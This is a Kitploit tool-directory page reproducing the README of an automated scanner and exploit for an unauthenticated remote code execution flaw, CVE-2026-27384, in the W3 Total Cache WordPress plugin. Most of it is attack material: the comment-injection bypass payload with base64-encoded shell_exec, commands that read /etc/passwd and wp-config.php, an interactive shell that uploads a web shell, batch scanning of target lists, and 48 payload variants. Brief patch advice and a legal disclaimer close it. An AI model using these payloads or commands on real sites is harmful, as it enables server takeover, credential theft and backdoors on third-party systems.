Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-27384 — CVE-2026-27384(mfunc/eval()インジェクションを介したW3 Total Cacheの認証不要RCE)向けの自動スキャナーおよびエクスプロイト。自動検出、48種類のペイロードバリエーション、インタラクティブシェル、バッチスキャンを備えています。 | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-27384
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubxxconi/cve-2026-27384

CVE-2026-27384

CVE-2026-27384(mfunc/eval()インジェクションを介したW3 Total Cacheの認証不要RCE)向けの自動スキャナーおよびエクスプロイト。自動検出、48種類のペイロードバリエーション、インタラクティブシェル、バッチスキャンを備えています。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-27384

CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE スキャナー

プラグイン: W3 Total Cache プラグインスラッグ: w3-total-cache CVE ID: CVE-2026-27384 CVSS スコア: 9.8 (クリティカル) CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 脆弱性タイプ: 認証不要の任意コード実行 (eval() によるコードインジェクション) 影響を受けるバージョン: <= 2.9.1 修正済みバージョン: 2.9.2 公開日: 2026年2月24日 研究者: CODE WHITE GmbH


📌 脆弱性の概要

W3 Total Cache プラグインの Dynamic Fragment Caching 機能 (mfunc/mclude システム) は、 HTML コメント内に埋め込まれた PHP コードを eval() で実行します。 この機能を保護するための W3TC_DYNAMIC_SECURITY トークンは、複数のコード上の欠陥が組み合わさることでバイパス可能です。

結果: 認証を必要とせず、WordPress のコメントを送信するだけでサーバー上で任意の PHP コードを実行できます。


🔍 脆弱性の概要表


⚙️ 技術的分析

機能: mfunc / mclude

W3TC の Dynamic Fragment Caching 機能は、開発者がページ HTML に 特殊なコメントタグを介して PHP コードを埋め込むことを許可します:

root@kitploit:~
<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC はこれらのタグをキャッシュからページを提供するときに処理します: 埋め込まれた PHP は eval() で実行され、その出力がコメントブロックの場所に書き込まれます。


バグ1 — preg_quote() の欠如 (PgCache_ContentGrabber.php)

root@kitploit:~
// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY が直接正規表現に追加されている
        // preg_quote() なし → トークンが正規表現パターンとして扱われる
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

トークンが '.' の場合、正規表現は <!--\s*mfunc\s*.(.*)--> となり → 任意の1文字がトークンの代わりとなります。


バグ2 — \s* と \s+ の不一致

関数パターン動作
_parse_dynamic() — 実行するmfunc\s*TOKEN0個の空白を許可 ✅
root@kitploit:~
攻撃者のペイロード:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      mfuncとトークンの間に空白なし

strip関数:   \s+ → 一致しない → ペイロードが残る
実行正規表現: \s* → 一致する → eval() が実行される

バグ3 — トークン検証の欠如 (_has_dynamic())

root@kitploit:~
// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ defined() チェックのみ — empty() またはメタ文字チェックなし
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

完全な攻撃チェーン

root@kitploit:~
W3TC_DYNAMIC_SECURITY = '.'   (正規表現メタ文字 — 任意の文字)
        │
        ▼
攻撃者がコメントを送信:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  パターン: mfunc\s+[^\s]+  →  \s+ が必要、空白なし → 回避 ✅
        │
        ▼
コメントがデータベースに保存され、ページがキャッシュされる
        │
        ▼
2回目のHTTPリクエスト → W3TCがキャッシュから提供
  _has_dynamic() → mfunc\s*.  → 'A' が一致 → true を返す
        │
        ▼
_parse_dynamic() → preg_replace_callback
  パターン: mfunc\s*.  → 'A' が一致
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ 認証不要のRCE ✓

🔴 攻撃の影響

認証なしで、Webサーバーの権限でサーバー上で任意のPHPコードを実行可能:

  • ✅ サーバーの完全な乗っ取り
  • ✅ WordPressのファイルとデータベースの読み取り/書き込み/削除
  • ✅ Webシェル/バックドアの設置
  • ✅ 内部ネットワークへのピボット
  • ✅ 認証情報、APIキー、ユーザーデータの漏洩

🚀 インストール

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
beautifulsoup4

📖 使用方法

モード

モード説明
autoサイトをスキャン → コメントページを発見 → エクスプロイト (デフォルト)
exploit直接エクスプロイト — post URL を使用
shellインタラクティブシェル

自動モード — すべて自動

root@kitploit:~
python w3tc_rce.py https://hedef.com

スキャナーは以下を実行:

  1. W3TCがインストールされているか確認
  2. サイトマップ + リンク追跡でコメントフォームがあるページを発見
  3. 各ページに対して48のペイロードバリアントを試行
  4. 成功した場合、シェルを開くかどうか提案

エクスプロイトモード — 直接

root@kitploit:~
# id komutu
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# /etc/passwd oku
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# wp-config.php oku
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Post ID manuel
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

シェルモード — インタラクティブ

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

シェルが開かれると、自動的に whoami、hostname、pwd、uname -a が実行されます:

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  コマンド: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

検出モード — 検出のみ

root@kitploit:~
python w3tc_rce.py https://hedef.com --mode detect
root@kitploit:~
[+] W3TC kurulu!
    Sürüm  : 2.9.1
    Cache  : True
[!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)!

バッチスキャン

root@kitploit:~
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

プロキシ使用 (Burp Suite)

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ 全パラメータ


💀 ペイロード構造

mfunc 空白なしバイパス

root@kitploit:~
標準タグ (stripによって捕捉される):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          空白あり → \s+ が一致 → stripが削除

バイパスタグ (stripを回避し、eval() が実行される):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        空白なし → \s+ が一致しない → stripをバイパス
                      \s* が一致 → eval() が実行

Base64 エンコード

PHPコードはHTMLエンコードの問題を防ぐためにbase64エンコードされます:

root@kitploit:~
# コマンド: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

48のペイロードバリアント


🔄 エクスプロイトの流れ

root@kitploit:~
1. W3TC の検出
   └─ readme.txt、ヘッダー、ボディ、プラグインディレクトリ

2. コメントシステムの検出
   └─ HTMLフォーム、REST API、投稿ID

3. ペイロード注入 (48バリアント)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ HTMLフォーム: POST /wp-comments-post.php

4. キャッシュのトリガー
   ├─ 1回目のリクエスト → キャッシュミス → ページレンダリング → キャッシュされる
   └─ 2回目のリクエスト → キャッシュヒット → _parse_dynamic() → eval()

5. 出力の抽出
   └─ uid=、whoami、/path/、passwd、wp-config...

🖥️ 出力例

自動モード

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] ターゲット: https://hedef.com
  Crawling: [████████████████████] 100% (50/50) | 8.3/s

[+] コメントページ: https://hedef.com/?p=1 (post_id=1)

  [1] W3TC の検出...
[+] W3TC を発見! バージョン: 2.9.1
  [2] コメントシステムの検出...
[+] Post ID: 1 | Form: True | REST: True
  [3] ペイロード注入 (id)...
[i] 48 ペイロードバリアント準備完了
  [4] キャッシュをトリガー中...

[★] RCE 成功!
=========================================================
  URL     : https://hedef.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  コマンド  : id
  出力   : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] 結果を保存 → w3tc_results.txt
[?] シェルを開きますか? (y/n):

バッチスキャン概要

root@kitploit:~
Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] 7 脆弱性発見!
[+] 結果を保存 → w3tc_results.txt

📁 ファイル構造

root@kitploit:~
cve-2026-27384/
├── w3tc_rce.py        # メインスキャナー
├── requirements.txt   # 依存関係
└── README.md          # このファイル

🛡️ 防御 / パッチ

対策説明
プラグインの更新W3 Total Cache 2.9.2+ にアップグレード
mfunc の無効化W3TC_DYNAMIC_SECURITY が定義されていない場合、機能は動作しない
強力なトークントークンは英数字のみを含める ([a-zA-Z0-9_]+)

安全なトークンの例 (wp-config.php):

root@kitploit:~
// ❌ 危険 — 正規表現メタ文字
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ 安全 — 英数字
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

2.9.2 のパッチ (_parse_dynamic()):

root@kitploit:~
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote 追加
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (最低1空白)
    ...
);

⚠️ 法的免責事項

このツールおよびPoCは、許可されたシステム上での教育目的および ペネトレーションテストの範囲内でのみ使用するために作成されています。 許可のないシステムでの使用は、トルコ刑法第243-245条および 国際的なサイバー犯罪法に基づき犯罪行為となります。 開発者は、ツールの悪用から生じるいかなる法的責任も負いません。


📄 ライセンス

MIT License — 教育および研究目的のみ。


🔗 参考文献

  • Wordfence Advisory
  • W3 Total Cache Plugin
  • CODE WHITE GmbH
  • CWE-94: Improper Control of Code Generation
  • OWASP Code Injection
  • PHP eval() Security
  • PHP preg_quote()
ツールをダウンロード
フィールド値
CVE IDCVE-2026-27384
CVSS9.8 Critical
タイプCode Injection → RCE (CWE-94)
影響を受けるバージョン<= 2.9.1
修正済みバージョン2.9.2
認証不要
ユーザー操作不要
前提条件W3TC_DYNAMIC_SECURITY が正規表現メタ文字を含むこと
strip_dynamic_fragment_tags_from_string() — 削除するmfunc\s+TOKEN最低1個の空白が必要 ❌
detectW3TCの検出のみ
パラメータ短縮説明デフォルト
url—単一ターゲットURL—
--list-lターゲットリストファイル—
--mode—動作モードauto
--cmd—実行するコマンドid
--post-url—コメントがあるページのURL—
--post-id—WordPressの投稿ID—
--max-pages—スパイダーの最大ページ数50
--threads-tスレッド数10
--output-o出力ファイルw3tc_results.txt
--proxy—プロキシURL—
--no-color—色なし出力False
--verbose-v詳細出力False
グループ関数バイパス文字エンコーディング
b64_shell_execshell_execA, B, X, 1Base64
b64_systemsystemA, B, X, 1Base64
b64_passthrupassthruA, B, X, 1Base64
b64_execexecA, B, X, 1Base64
b64_popenpopenA, B, X, 1Base64
raw_*全関数A, B, X, 1生